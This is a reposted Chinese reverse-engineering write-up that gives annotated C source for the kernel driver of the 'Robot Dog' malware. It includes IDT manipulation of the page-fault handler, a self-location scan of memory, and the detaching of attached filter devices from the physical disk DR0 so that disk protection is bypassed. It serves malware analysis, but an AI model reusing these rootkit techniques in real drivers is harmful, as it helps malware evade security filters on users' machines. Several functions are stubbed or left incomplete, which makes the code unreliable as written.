“机器狗”病毒驱动部分逆向分析注释(C代码)

来源:互联网 发布:unitedstack 知乎 编辑:程序博客网 时间:2024/03/29 19:46
 #include           // various NT definitions 
 
#define IOCTL_MYDEV_BASE             0xF000  
#define IOCTL_MYDEV_Fun_0xF01        CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)  
 
#define DR0_DEVICE_NAME                        "//Device//Harddisk0//DR0
#define NT_DEVICE_NAME                        "//Device//PhysicalHardDisk0
#define DOS_DEVICE_NAME                        "//DosDevices//PhysicalHardDisk0
 
PDEVICE_OBJECT g_DR0_DeviceObject; 
PDEVICE_OBJECT g_OldAttachedDeviceOfDR0; 
VOID*   g_ResData;  
SIZE_T  g_ResDataSize;  
 
typedef struct _idtr 

    //定义中断描述符表的限制,长度两字节; 
    short        IDTLimit; 
    //定义中断描述服表的基址,长度四字节; 
    unsigned int    IDTBase; 
}IDTR,*PIDTR; 
 
typedef struct _idtentry 

    //中断执行代码偏移量的底16位; 
    unsigned short    OffsetLow; 
    //选择器,也就是寄存器; 
    unsigned short    Selector; 
    //保留位,始终为零; 
    unsigned char        Reserved; 
    //IDT中的门的类型:包括中断门,陷阱门和任务门; 
    unsigned char        Type:4; 
    //段标识位; 
    unsigned char        SegmentFlag:1; 
    //中断门的权限等级,0表示内核级,3表示用户级; 
    unsigned char        DPL:2; 
    //呈现标志位; 
    unsigned char        Present:1; 
    //中断执行代码偏移量的高16位; 
    unsigned short    OffsetHigh; 
}IDTENTRY,*PIDTENTRY; 
 
#define HOOKINTID_09 9                //NPX Segment Overrun 
#define HOOKINTID_0E 0x0E        //Page Fault 
 
VOID CheckIdt()//用SIDT指令得到中断向量啊,然后修改中断向量入口地址 

        int INT_09_Address_High8; 
        int INT_0E_Address_High8; 
        unsigned long OldISR_09; 
        unsigned long OldISR_0E; 
 
        //保存IDT入口的基地址和限制信息的数据结构; 
    IDTR        idtr;//store   interrupt   descript   table   register. to  idtr 
 
            //记录IDT数组的指针,通过它可以查找到我们需要Hook中断号对应的中断门; 
    PIDTENTRY    IdtEntry; 
 
    //汇编指令sidt,获取IDT入口信息; 
    __asm sidt    idtr 
 
    //赋予IDT基地址值; 
    IdtEntry = (PIDTENTRY)idtr.IDTBase; 
 
    //保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用 
        OldISR_09 = ((unsigned int)IdtEntry[HOOKINTID_09].OffsetHigh << 16) | (IdtEntry[HOOKINTID_09].OffsetLow); 
 
        INT_09_Address_High8 = OldISR_09&0x0FF000000; 
 
        /* 
        这两句汇编代码什么意思?eax相减应该总是0,那么 jz不总是跳转返回了??? 
        有知道的大侠告诉我耿冬(QQ:87485016) 
        sub     eax, eax 
        jz      short FunctionExit 
        难道是? 
        if (INT_09_Address_High8 == 0) 
                return; 
        */ 
 
 
        //保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用; 
        OldISR_0E = ((unsigned int)IdtEntry[HOOKINTID_0E].OffsetHigh << 16) | (IdtEntry[HOOKINTID_0E].OffsetLow); 
 
        INT_0E_Address_High8 = OldISR_0E&0x0FF000000; 
 
        if (INT_09_Address_High8 != INT_0E_Address_High8)//检查0E是不是被HOOK 
        {                  
                //关中断 
                __asm cli 
                 
                IdtEntry[HOOKINTID_0E].OffsetHigh = 0;// 作者此处没关中断,难道不bosd? 
         
                //开中断 
                __asm sti 
        } 

 
/* 
通过搜索地址来查找自己的加载地址 
查找驱动文件的资源中的1000/1000,并复制到一个全局缓冲区中 
*/ 
VOID* SearchSelf() 

        VOID* pSelfImage = NULL; 
        VOID* pCurAddr = NULL; 
        VOID* pTmpAddr = NULL; 
 
//         loc_40045F:这个取当前地址用C怎么写? 
//028 lea     ebx, loc_40045F 
//028 and     ebx, 0FFFFFC00h  
 
        //pSelfImage如何取? 
 
        while(MmIsAddressValid(pSelfImage)) 
        { 
                if ((unsigned long)pSelfImage <= 0x80000000) 
                        return NULL; 
 
                if (RtlEqualMemory(pSelfImage, "MZ", 2)) 
                { 
                        pCurAddr = pSelfImage; 
                        pTmpAddr = (VOID*)((unsigned long)pSelfImage+0x3C); 
                        (unsigned long)pCurAddr += (unsigned long)(&pTmpAddr); 
 
                        if (!MmIsAddressValid(pCurAddr)) 
                                return NULL; 
 
                        if (RtlEqualMemory(pCurAddr, "PE", 2)) 
                                return pSelfImage; 
                } 
 
                (unsigned long)pSelfImage -= 0x400;//-1024K 
        } 
         
        return NULL; 

 
SIZE_T ResLookupDataInDirectoryById(void* pSysBaseAddr, int id1, int id2, CHAR* pResDatas) 

        // 有空再补上:) 
 
        return 0; 

// 
// Device driver routine declarations. 
// 
 
NTSTATUS 
DriverEntry( 
    IN OUT PDRIVER_OBJECT   DriverObject, 
    IN PUNICODE_STRING      RegistryPath 
    ); 
 
NTSTATUS 
CommonDispatch( 
    IN PDEVICE_OBJECT       DeviceObject, 
    IN PIRP                 Irp 
    ); 
 
VOID 
Unload( 
    IN PDRIVER_OBJECT       DriverObject 
    ); 
 
NTSTATUS 
DriverEntry( 
    IN OUT PDRIVER_OBJECT   DriverObject, 
    IN PUNICODE_STRING      RegistryPath 
    ) 

    NTSTATUS        ntStatus; 
        CHAR*                pResData = NULL; 
        ANSI_STRING                SourceString; 
        PDEVICE_OBJECT  DeviceObject = NULL;    // ptr to device object 
    UNICODE_STRING  SymbolicLinkName;    
        UNICODE_STRING  DeviceName;     
        VOID* pSelfImage; 
        PDEVICE_OBJECT cur_device_object; 
        PDEVICE_OBJECT next_device_object; 
 
        CheckIdt(); 
 
        pSelfImage = SearchSelf(); 
        if (pSelfImage == NULL) 
                return -1; 
 
        g_ResDataSize = ResLookupDataInDirectoryById(pSelfImage, 1000, 1000, pResData); 
        if (g_ResDataSize == 0) 
        { 
                return -1; 
        } 
 
        g_ResData = ExAllocatePool(NonPagedPool, g_ResDataSize); 
        // 跳转到下条指令,延时 jmp short $+2 
 
        RtlCopyMemory(g_ResData, pResData, g_ResDataSize); 
 
        DriverObject->DriverUnload = Unload; 
    DriverObject->MajorFunction[IRP_MJ_CREATE] =  
    DriverObject->MajorFunction[IRP_MJ_CLOSE] =  
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = CommonDispatch; 
 
        // 为什么不用RtlInitUnicodeString( &ntUnicodeString, NT_DEVICE_NAME );代替 
        RtlInitAnsiString(&SourceString, NT_DEVICE_NAME); 
        RtlAnsiStringToUnicodeString(&DeviceName, &SourceString, TRUE); 
 
        RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME); 
        RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE); 
     
    ntStatus = IoCreateDevice( 
        DriverObject,                   // Our Driver Object 
        0,                              // We don’t use a device extension 
        &DeviceName,                                         
        FILE_DEVICE_NULL,            // Device type 
        0,     // Device characteristics //此处应该用FILE_DEVICE_SECURE_OPEN吧? 
        FALSE,                          // Not an exclusive device 
        &DeviceObject );                // Returned ptr to Device Object 
 
        if ( !NT_SUCCESS( ntStatus ) ) 
        { 
                goto End; 
        } 
 
        ntStatus = IoCreateSymbolicLink( &SymbolicLinkName, &DeviceName ); 
 
        if ( !NT_SUCCESS( ntStatus ) ) 
        { 
                cur_device_object = DriverObject->DeviceObject; 
 
                while (cur_device_object) 
                { 
                        next_device_object = DeviceObject->NextDevice; 
                        IoDeleteDevice(cur_device_object); 
                        cur_device_object = next_device_object; 
                } 
        } 
 
End: 
        RtlFreeUnicodeString(&DeviceName); 
        RtlFreeUnicodeString(&SymbolicLinkName); 
 
        return STATUS_SUCCESS; 

 
VOID 
Unload( 
   IN PDRIVER_OBJECT DriverObject 
    ) 

        ANSI_STRING                SourceString; 
        PDEVICE_OBJECT  DeviceObject = NULL;    // ptr to device object 
    UNICODE_STRING  SymbolicLinkName;    
        PDEVICE_OBJECT cur_device_object; 
        PDEVICE_OBJECT next_device_object; 
 
        if (g_ResData) 
        { 
                ExFreePool(g_ResData); 
        } 
 
        if (DriverObject) 
        { 
                RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME); 
                RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE); 
 
                IoDeleteSymbolicLink(&SymbolicLinkName); 
                RtlFreeUnicodeString(&SymbolicLinkName); 
 
                cur_device_object = DriverObject->DeviceObject; 
 
                while (cur_device_object) 
                { 
                        next_device_object = DeviceObject->NextDevice; 
                        IoDeleteDevice(cur_device_object); 
                        cur_device_object = next_device_object; 
                } 
        } 

 
NTSTATUS 
CommonDispatch( 
    IN PDEVICE_OBJECT DeviceObject, 
    IN PIRP Irp 
    ) 

        PDEVICE_OBJECT  DRO_DeviceObject = NULL;    // ptr to device object 
        PFILE_OBJECT        DRO_FileObject; 
        ANSI_STRING                SourceString; 
    UNICODE_STRING  DRO_DeviceName;     
 
    PIO_STACK_LOCATION  irpSp;// Pointer to current stack location 
    NTSTATUS            ntStatus = STATUS_SUCCESS;// Assume success 
    ULONG               inBufLength; // Input buffer length 
    ULONG               outBufLength; // Output buffer length 
 
        Irp->IoStatus.Status = STATUS_SUCCESS; 
        Irp->IoStatus.Information = 0; 
 
    irpSp = IoGetCurrentIrpStackLocation( Irp ); 
    inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength; 
    outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength; 
 
    if(!inBufLength || !outBufLength) 
    { 
        ntStatus = STATUS_INVALID_PARAMETER; 
        goto End; 
    } 
 
        switch ( irpSp->MajorFunction ) 
        { 
        case IRP_MJ_CREATE:  
                RtlInitAnsiString(&SourceString, DR0_DEVICE_NAME); 
                RtlAnsiStringToUnicodeString(&DRO_DeviceName, &SourceString, TRUE); 
 
                IoGetDeviceObjectPointer(&DRO_DeviceName, 0x80,&DRO_FileObject, &DRO_DeviceObject); 
                g_DR0_DeviceObject = DRO_FileObject->DeviceObject; 
 
                //保存DR0上的附加设备,然后断开附加,等IRP_MJ_CLOSE时恢复附加 
                if (DRO_FileObject->DeviceObject->AttachedDevice) 
                { 
                        g_OldAttachedDeviceOfDR0 = DRO_FileObject->DeviceObject->AttachedDevice; 
                        DRO_FileObject->DeviceObject->AttachedDevice= NULL; 
                } 
 
                ObDereferenceObject(DRO_FileObject); 
 
                RtlFreeUnicodeString(&DRO_DeviceName); 
 
                break; 
        case IRP_MJ_CLOSE:  
                if (g_DR0_DeviceObject) 
                { 
                        if (g_OldAttachedDeviceOfDR0) 
                        { 
                                g_DR0_DeviceObject->AttachedDevice = g_OldAttachedDeviceOfDR0; 
                        } 
                } 
 
                break; 
        case IRP_MJ_DEVICE_CONTROL:  
                if ( irpSp->Parameters.DeviceIoControl.IoControlCode == 0x0F0003C04) 
                { 
                        if (outBufLength < g_ResDataSize) 
                                goto End; 
 
                        // 此处就是提取驱动里的资源解码返回给ap层,很简单,不再反汇编了,此处省略 
                        // 唯一不理解的是既然是双缓冲应该用IRP.AssociatedIrp.SystemBuffer返回给ap才是 
                        // 难道此时Irp->AssociatedIrp.SystemBuffer和Irp->UserBuffer地址相同?? 
                        RtlCopyMemory(Irp->UserBuffer, g_ResData, g_ResDataSize); 
 
                        Irp->IoStatus.Information = g_ResDataSize; 
                } 
                else 
                { 
                        ntStatus = STATUS_INVALID_DEVICE_REQUEST; 
                } 
 
                break; 
 
        default: 
 
                // 
        // The specified I/O control code is unrecognized by this driver. 
        // 
 
        ntStatus = STATUS_INVALID_DEVICE_REQUEST; 
        break; 
    } 
 
End: 
    // 
    // Finish the I/O operation by simply completing the packet and returning 
    // the same status as in the packet itself. 
    // 
 
    Irp->IoStatus.Status = ntStatus; 
 
    IoCompleteRequest( Irp, IO_NO_INCREMENT ); 
 
    return ntStatus; 
}  
原创粉丝点击